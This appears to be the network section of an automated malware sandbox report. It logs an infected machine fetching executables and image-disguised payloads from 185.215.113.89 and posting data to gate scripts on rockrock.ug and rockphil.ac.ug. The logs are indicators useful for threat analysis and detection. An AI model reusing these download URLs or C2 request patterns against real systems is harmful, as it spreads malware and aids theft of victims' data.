Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| rockrock.ug | 185.215.113.89 | |
| rockphil.ac.ug | 185.215.113.89 |
GET
200
http://185.215.113.89/dl/0414/net_Gzhsuovx.bmp
REQUEST
RESPONSE
BODY
GET /dl/0414/net_Gzhsuovx.bmp HTTP/1.1
Host: 185.215.113.89
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:33:14 GMT
Content-Type: image/bmp
Content-Length: 1432064
Connection: keep-alive
Last-Modified: Thu, 14 Apr 2022 14:14:03 GMT
ETag: "15da00-5dc9de7f407f1"
Accept-Ranges: bytes
GET
200
http://rockrock.ug/gggate.php
REQUEST
RESPONSE
BODY
GET /gggate.php HTTP/1.1
Host: rockrock.ug
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:33:34 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.4.28
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=9c12eac420d4a290cc09e5c6f7e7ccb6; path=/
GET
200
http://rockrock.ug/request
REQUEST
RESPONSE
BODY
GET /request HTTP/1.1
Host: rockrock.ug
Cache-Control: no-cache
Cookie: PHPSESSID=9c12eac420d4a290cc09e5c6f7e7ccb6
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:33:34 GMT
Content-Length: 1565849
Connection: keep-alive
Last-Modified: Thu, 14 Apr 2022 08:37:48 GMT
ETag: "17e499-5dc9935790d13"
Accept-Ranges: bytes
POST
200
http://rockrock.ug/gggate.php
REQUEST
RESPONSE
BODY
POST /gggate.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----QQIECBS2DTRIM79H
Host: rockrock.ug
Content-Length: 11676
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=9c12eac420d4a290cc09e5c6f7e7ccb6
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:33:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.4.28
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
GET
200
http://185.215.113.89/azne.exe
REQUEST
RESPONSE
BODY
GET /azne.exe HTTP/1.1
Host: 185.215.113.89
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:33:40 GMT
Content-Type: application/octet-stream
Content-Length: 102912
Connection: keep-alive
Last-Modified: Thu, 14 Apr 2022 14:11:47 GMT
ETag: "19200-5dc9ddfdec22b"
Accept-Ranges: bytes
GET
200
http://185.215.113.89/pm.exe
REQUEST
RESPONSE
BODY
GET /pm.exe HTTP/1.1
Host: 185.215.113.89
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:33:41 GMT
Content-Type: application/octet-stream
Content-Length: 1970688
Connection: keep-alive
Last-Modified: Thu, 14 Apr 2022 15:00:21 GMT
ETag: "1e1200-5dc9e8d94e9b6"
Accept-Ranges: bytes
GET
200
http://185.215.113.89/cc.exe
REQUEST
RESPONSE
BODY
GET /cc.exe HTTP/1.1
Host: 185.215.113.89
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:33:43 GMT
Content-Type: application/octet-stream
Content-Length: 777216
Connection: keep-alive
Last-Modified: Thu, 14 Apr 2022 15:00:02 GMT
ETag: "bdc00-5dc9e8c735582"
Accept-Ranges: bytes
GET
200
http://185.215.113.89/dl/0414/azne_Tauzqofu.png
REQUEST
RESPONSE
BODY
GET /dl/0414/azne_Tauzqofu.png HTTP/1.1
Host: 185.215.113.89
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:34:01 GMT
Content-Type: image/png
Content-Length: 1673216
Last-Modified: Thu, 14 Apr 2022 14:02:46 GMT
Connection: keep-alive
ETag: "62582986-198800"
Expires: Sat, 21 May 2022 04:34:01 GMT
Cache-Control: max-age=86400
Accept-Ranges: bytes
POST
200
http://rockphil.ac.ug/index.php
REQUEST
RESPONSE
BODY
POST /index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: rockphil.ac.ug
Content-Length: 91
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.20.2
Date: Fri, 20 May 2022 04:34:08 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.4.16
ICMP traffic
| Source | Destination | ICMP Type | Data |
|---|---|---|---|
| 192.168.56.101 | 164.124.101.2 | 3 |
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts